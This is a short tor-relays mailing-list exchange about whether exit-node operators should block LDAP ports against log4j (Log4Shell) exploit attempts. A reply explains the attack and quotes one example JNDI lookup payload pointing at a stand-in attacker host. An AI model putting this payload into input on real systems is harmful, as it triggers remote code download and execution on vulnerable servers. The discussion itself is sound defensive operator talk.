[tor-relays] Mitigating log4j exploits

Hiho,

we got a notice that currently several exploit attempts for the log4j flaw going through Tor exit nodes und using LDAP. See GreyNoise
The sender asked to do something against the currently running attacks. One possibility is, in my opinion, rejecting connection over ports 389 and 636. What do you think? Should we as exit node operators block connections over those LDAP ports for some amount of time?

Best,

qbi

···

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Hey,

attacks. One possibility is, in my opinion, rejecting connection over
ports 389 and 636. What do you think? Should we as exit node operators
block connections over those LDAP ports for some amount of time?

don't think this is going to help.

The exploit works like this: Send a special string that *references* an ldap server (most used right now, though other protocols are possible), such as "${jndi:ldap://attacker.example.com:port/a}". The target then contacts the ldap server and essentially downloads the malicious code from there. You can include a custom port as shown and many attackers do. Most exploit attempts use http(s). Nothing we can block without packet inspection.

Best regards,
Felix

···

Am 11.12.2021 13:51, schrieb Jens Kubieziel:
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